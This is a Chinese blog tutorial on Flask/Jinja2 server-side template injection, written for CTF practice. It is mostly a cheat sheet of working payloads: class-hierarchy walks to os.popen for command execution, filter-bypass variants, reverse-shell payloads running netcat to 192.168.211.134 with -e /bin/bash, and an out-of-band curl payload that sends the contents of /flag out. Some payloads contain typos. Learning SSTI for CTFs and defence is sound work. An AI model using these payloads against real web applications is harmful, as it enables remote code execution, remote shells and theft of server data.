SSTI模板注入入门

news/2024/5/19 22:47:55 标签: flask, ssti, 网安, ctf, web

一.关系:子类->父类

class A:pass

class B(A):pass

class C(B):pass

class D(B):pass

c=C()

1.__class__查看当前类

c:当前类

print(c.__class__)

2.__base__查看当前类的父类

print(c.__class__.__base__)

c的父类的父类

print(c.__class__.__base__.__base__)

e的父类的父类的父类

print(c.__class__.__base__.__base__.__base__)

最终的父类都是object

3.__mro__从当前往上查看所有类

print(c.__class__.__mro__)

查看e的当前类

print(c.__class__.__mro__[0])

 查看e的父类 

print(c.__class__.__mro__[1])

 查看e的父类的父类 

print(c.__class__.__mro__[2])

4.__subclass__()查看子类

 查看c的父类的子类 

print(c.__class__.__mro__[1].__subclasses__())

[<class '__main__.C'>, <class '__main__.D'>]

 查看基类object下面的子类 

print(c.__class__.__base__.__base__.__base__.__subclasses__())

5.利用与C同级的D类

print(c.__class__.__mro__[1].__subclasses__()[1])

二.利用

1.查看object类

{{''.__class__.__base__}}

[],'',(),""用起来都没有区别,都是为了找到object类,如果有哪个被过滤了,可以尝试其他的

在object类里面找到os.__wrap__close

用notepad把object下面所有类进行排序

 os._wrap_close在133 

2.利用os.__wrap__close

为什么利用os.__wrap__close,因为在其里面的全局变量可以找到内置函数eval

{{''.__class__.__base__.__subclasses__()[132].__init__}}

用__init__检测是否已经重载,重载才可以使用

 没有出现wrapper说明已经重载可以使用 

3.__globals__查看全局变量

{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__}}

如果globals被过滤可以单引号拼接,如下:

{{''.__class__.__base__.__subclasses__()[132].__init__['__glo''bals__']}}

题目简单可以直接搜到flag

 4.调用globals里面的各种函数 

比如eval,popen,system,exec

这里我调用eval函数

__builtins__提供对python的所有内置标识符的访问

{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

更省事的写法

{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__ ['eval']("__import__('os').popen('ls').read()")}}

5.其他调用方式

  通过config调用

{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

{{config.__class__.__init__['__glo''bals__']['o''s'].popen('ls').read()}}

通过url_for调用

{{url_for.__globals__.os.popen('ls').read()}}

{{url_for['__gl''obals__']['o''s'].popen('ls').read()}}

通过lipsum调用

{{lipsum.__globals__.os.popen('ls').read()}}

{{lipsum['__glo''bals__']['o''s'].popen('ls').read()}}

 三.SSTI绕过

1.绕过过滤双大括号

{% %}属于flask的控制语句,且以{% end.. %}结尾,可以通过控制语句定义变量或者写循环,判断。

 如果{{}}被过滤,尝试{%%}

构造脚本查询可使用popen 的子类编号

想要回显,用print输出 

{% print(''.__class__.__base__.__subclasses__[117].__init__.__globals__['popen']('ls').read())% }

{% print(''.__class__.__base__.__subclasses__()[132].__init__['__glo''bals__']['__buil''tins__']['ev''al']("__im""port__('o''s').po""pen('head /flag').read()"))%}

 2.无回显的SSTI 

反弹shell

通过rce反弹一个shell

{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('netcat 192.168.211.134 7777 -e /bin/bash').read()}}

{{''.__class__.__base__.__subclasses__()[132].__init__['__glo''bals__']['pop''en']('netcat 192.168.211.134 7777 -e /bin/bash').read()}}

{{[].__class__.__base__.__subclasses__()[84]["load_module"]("o""s")["popen"]("netcat 192.168.211.134 7777 -e /bin/bash").read()}}

linux:nc -lvp 7777

带外注入

{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('curl http://192.168.211.134/`cat /flag`').read()}}

linux:python3 -m http.server 80

3.纯盲注

布尔,时间盲注

4.绕过过滤中括号

__getitem__()魔术方法

对字典使用时,传入字符串,返回字典相应键对应的值

对列表使用时,传入整数,返回对应的索引的值

{{''.__class__.__base__.__subclasses__().__getitem__(132)}}

等价于{{''.__class__.__base__.__subclasses__()[132]}}

{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}

绕过

{{''.__class__.__base__.__subclasses__().__getitem(132).__init__.__globals__.__getitem('popen')('ls').read()}}

5.绕过单双引号

利用:

{{().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']}}

改为

{{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.popen](request.args.cmd)}}

然后url传哥参数?popen=popen&cmd=cat /flag

如果想post传参,request.args.cmd改为request.form.cmd

如果想cookie传参,用request.cookies.cmd 如果多个参数用分号;隔开

Cookie : key1=   ;key2= 

6.过滤器绕过下划线过滤

 使用request

 过滤器通过管道符|与变量连接,并且在括号中可能有可选的参数

可以连接到多个过滤器,一个过滤器的输出将应用于下一个过滤器

attr绕过下划线

{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}

改为

{{()|attr(request.args.cla)|attr(request.args.bas)|attr(request.args.sub)()|attr(request.args.gei)(132)|attr(request.args.ini)|attr(request.args.glo)|attr(request.args)(&apos;popen&apos;)(&apos;ls&apos;)|attr(&apos;read&apos;)()}}

get传参?cla=__class__&bas=__base__&sub=__subclasses__&ini=__init__&glo=__globals__&gei=__getitem___ 

7.绕过.被过滤

 用中括号代替点

{{''[__class__][__base__][__subclasses__]()[133][__init__][__globals__]['popen']('ls')['read']()}}

用attr绕过 

8.关键词过滤绕过

  过滤了class.arg,form,value,ini,global等关键词

字符编码  unicode 16编码

使用拼接 '__cla''ss__'

jinjia2中使用~进行拼接

{%set a="__cla"%}{%set b="ss_"%}{{a~b}}  

使用过滤器,reverse反转,replace替换,join拼接

{%set a="__ssalc__"|reverse%}{{a}}

 使用python的char()

{%set chr=url_for.__globals__['__builtins__'].chr%}{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}(暂时没懂) 

 9.绕过过滤数字

过滤器length

{%set a='aaaaa'|length%}{{a}}  输出5

{%set a='aaaaa'|length*'aaa'%}{{a}}输出15

{%set a='aaaaa'|length*'aaa'|length-'aa'%}{{a}}输出13 

10.其他技巧

看看flag有没有在config里

{{config}}

current_app查看配置

{{url_for.__globals__['current_app'].config}}

{{get_flashed_messages.__globals__['current_app'].config}}


http://www.niftyadmin.cn/n/5153196.html

相关文章

全网超细,Pytest自动化测试框架入门到精通-实战整理,一篇打通...

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 1、Pytest和Unitt…

Gradle中的依赖Dependencies说明与使用总结

【1】依赖的方式 Gradle 中的依赖分别为直接依赖&#xff0c;项目依赖&#xff0c;本地jar 依赖。 dependencies {//①.依赖当前项目下的某个模块[子工程]implementation project(:subject01)//②.直接依赖本地的某个jar文件implementation files(libs/foo.jar, libs/bar.jar…

【深度学习】pytorch——Autograd

笔记为自我总结整理的学习笔记&#xff0c;若有错误欢迎指出哟~ 深度学习专栏链接&#xff1a; http://t.csdnimg.cn/dscW7 pytorch——Autograd Autograd简介requires_grad计算图没有梯度追踪的张量ensor.data 、tensor.detach()非叶子节点的梯度计算图特点总结 利用Autograd实…

【GEE】2、探索数据集

1简介 在本单元中&#xff0c;我们将讨论以下概念&#xff1a; Google 地球引擎中可用的潜在数据来源。 通过生态示例显示的数据集采样用例。 如何使用 Google 地球引擎访问重要的元数据。 2背景 要将遥感集成到您的研究和分析中&#xff0c;学习如何解析 Google 地球引擎上…

ython报错 UnicodeDecodeError: ‘gbk‘ codec can‘t decode

这里写自定义目录标题 尝试1 file open(path, encodinggbk) file pd.read_csv(path, encodinggbk) 尝试2 file open(path, encodinggb18030&#xff09; file pd.read_csv(path, encodinggb18030) 终极 file open(path, encodinggb18030, errorsignore) file pd.read_csv…

人人都会Blazor —— 1.2 托管模型

托管模型 Razor 组件可以在 ASP.NET Core (Blazor Server) 中运行服务器端,并在浏览器中使用基于 WebAssembly 的 .NET 运行时(Blazor WebAssembly、Blazor WASM)运行客户端。 还可以在本机移动应用和桌面应用中托管 Razor 组件,将其呈现到嵌入式 Web View 控件 (Blazor H…

MySQL Create table as select无法执行

一、前言 作为一个专业的DBA&#xff0c;在进行表结构变更或数据变更前做好备份那是必须的&#xff0c;今天在新系统上(MySQL版本是5.7) 使用Create table as Select时直接报 Statement violates GTID consistency: CREATE TABLE ... SELECT,瞬间懵逼了&#xff0c;看提示信息…

关于iOS:如何使用SwiftUI调整图片大小?

How to resize Image with SwiftUI? 我在Assets.xcassets中拥有很大的形象。 如何使用SwiftUI调整图像大小以缩小图像&#xff1f; 我试图设置框架&#xff0c;但不起作用&#xff1a; 1 2 Image(room.thumbnailImage) .frame(width: 32.0, height: 32.0) 在Image上应用…